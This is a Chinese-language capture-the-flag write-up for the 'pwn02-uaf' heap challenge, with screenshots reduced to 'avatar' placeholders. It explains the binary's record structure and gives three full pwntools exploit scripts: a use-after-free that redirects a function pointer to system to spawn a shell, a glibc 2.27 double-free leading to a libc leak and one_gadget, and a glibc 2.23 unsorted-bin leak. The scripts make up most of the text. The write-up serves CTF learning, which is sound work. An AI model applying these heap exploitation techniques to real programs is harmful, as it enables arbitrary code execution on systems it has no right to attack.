pwn02-uaf

查看ida 主要用到以下函数

1,主函数

avatar

三个功能

2,do_new函数

avatar

此处主要用Text添加chunk,Text一次会申请两个chunk,第一个主要保存以下内容

avatar

avatar

和这个一致

3,do_del函数和free函数

avatar

avatar

do_del是执行v3+4地址,也就是free函数,以v3地址为参数

4,do_dump函数和printf函数

avatar

avatar

do_dump是执行v3地址,也就是printf函数,以本身地址为参数

介绍records(0x0804B060)

在这题records就是每Text一个chunk,会将储存printf地址,free地址和数据地址的地址放在records[Index]处

例如avatar,此时records为avatar

方法一 简单uaf

avatar

这里avatar

在show(0)时便会执行sys,以avatar为参数,因为0x080484f0识别不出,而加分号avatar

所以会执行sh 。

其实也可以不用show(0)

将show(0)改为free(0),再做一下改动也可以

avatar

这样就不用加分号了。

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
from pwn import *
context.log_level = 'debug'
r=process('./pwn02-uaf')
#r=remote('pwn.challenge.ctf.show',28122)
libc=ELF('/lib/i386-linux-gnu/libc.so.6')

def Integer(idx,content):
r.recvuntil("Act > ")
r.sendline("1")
r.recvuntil(" > ")
r.sendline(str(idx))
r.recvuntil("Type > ")
r.sendline('1')
r.recvuntil("Value > ")
r.sendline(content)

def Text(idx,size, content):
r.recvuntil("Act > ")
r.sendline("1")
r.recvuntil(" > ")
r.sendline(str(idx))
r.recvuntil("Type > ")
r.sendline('2')
r.recvuntil("Length > ")
r.sendline(str(size))
r.recvuntil("Value > ")
r.send(content)

def free(idx):
r.recvuntil(">")
r.sendline("2")
r.recvuntil(">")
r.sendline(str(idx))


def show(idx):
r.recvuntil(">")
r.sendline("3")
r.recvuntil(">")
r.sendline(str(idx))


sys_plt=0x080484F0
Text(0,0x18,'a'*0x17)
Text(1,0x18,'a'*0x17)
free(0)
free(1)
Text(2,0x9,b'sh\x00\x00'+p32(sys_plt))
free(0)


r.interactive()

方法二 2.27下double free泄露printf_plt og

基本思路:将record[0]改为printf_plt地址,通过show(0)调用printf并以本身为参数输出printf_plt地址。

通过double free将bins改成avatar

再申请两个 如下:

avatar

此时bins为avatar

这时因为0x80486be不能被申请到,再次申请会报错,所以再之前便要延长0x10[ 0]。可以通过text(10,0x1,’’),

再dele(10)提前完成延长,再申请到records地址,将records改成printf_plt即可,avatar

再之后uaf中还要注意一点小细节便可。

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
from pwn import *
context.log_level = 'debug'
r = process('./pwn02-uaf')
#r=remote('pwn.challenge.ctf.show',28122)
libc=ELF('2.27/libc.so.6')
def Integer(idx,content):
r.recvuntil("Act > ")
r.sendline("1")
r.recvuntil(" > ")
r.sendline(str(idx))
r.recvuntil("Type > ")
r.sendline('1')
r.recvuntil("Value > ")
r.sendline(content)

def Text(idx,size, content):
r.recvuntil("Act > ")
r.sendline("1")
r.recvuntil(" > ")
r.sendline(str(idx))
r.recvuntil("Type > ")
r.sendline('2')
r.recvuntil("Length > ")
r.sendline(str(size))
r.recvuntil("Value > ")
r.send(content)

def dele(idx):
r.recvuntil(">")
r.sendline("2")
r.recvuntil(">")
r.sendline(str(idx))


def show(idx):
r.recvuntil(">")
r.sendline("3")
r.recvuntil(">")
r.sendline(str(idx))

catflag=0x08048A1E#0x8048dcc
Text(9,0x1,'')

Text(0,0x18,'a'*0x17)
Text(1,0x18,'a'*0x17)
Text(10,0x1,'')
dele(0)
dele(1)
dele(0)
dele(10)
Text(2,0x18,p32(0x0804B060)+'\x00'*0x13)
Text(3,0x18,'a'*0x17)
Text(4,0x18,'a'*0x17)
Text(5,0x18,p32(0x0804B00C)+'\x00'*0x13)

show(0)


one=u32(r.recvuntil('\xf7')[-4:])-libc.sym['printf']+0x3d129#one
print'libc_base==',hex(one)

dele(9)
Text(6,0x28,'a'*0x27)
Text(7,0x28,'a'*0x27)

dele(6)
dele(7)

#gdb.attach(r)
Text(8,0x8,p32(one)+'\x00'*0x3)
show(6)


r.interactive()

方法三 2.23下unshorted bin

首先!avatar

得到

avatar

再通过方法一改掉0x8864008的地址为printf地址,注意不要改掉0x8864010的地址,通过show(0)打印main_arena+48(此时是0xf7ee17b0),__malloc_hook的地址为main_arena+48-0x48,从而得到libc基址,再通过one_gadget和方法一获得权限

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
r = process('./pwn02-uaf')
#r=remote('pwn.challenge.ctf.show',28122)
libc=ELF('2.23/libc.so.6')
def Integer(idx,content):
r.recvuntil("Act > ")
r.sendline("1")
r.recvuntil(" > ")
r.sendline(str(idx))
r.recvuntil("Type > ")
r.sendline('1')
r.recvuntil("Value > ")
r.sendline(content)

def Text(idx,size, content):
r.recvuntil("Act > ")
r.sendline("1")
r.recvuntil(" > ")
r.sendline(str(idx))
r.recvuntil("Type > ")
r.sendline('2')
r.recvuntil("Length > ")
r.sendline(str(size))
r.recvuntil("Value > ")
r.send(content)

def dele(idx):
r.recvuntil(">")
r.sendline("2")
r.recvuntil(">")
r.sendline(str(idx))


def show(idx):
r.recvuntil(">")
r.sendline("3")
r.recvuntil(">")
r.sendline(str(idx))

Text(0,0x80,'a'*0x7f)
Text(1,0x20,'a'*0x1f)
dele(0)
dele(1)

Text(2,0x8,p32(0x080486be)+'\x00'*0x3)

show(0)

base=u32(r.recvuntil('\xf7')[-4:])-0x48-libc.sym['__malloc_hook']
one=base+0x3ac3c
Text(3,0x18,'a'*0x17)
Text(4,0x18,'a'*0x17)
dele(3)
dele(4)
Text(5,0x8,p32(one)+'\x00'*3)
show(3)


r.interactive()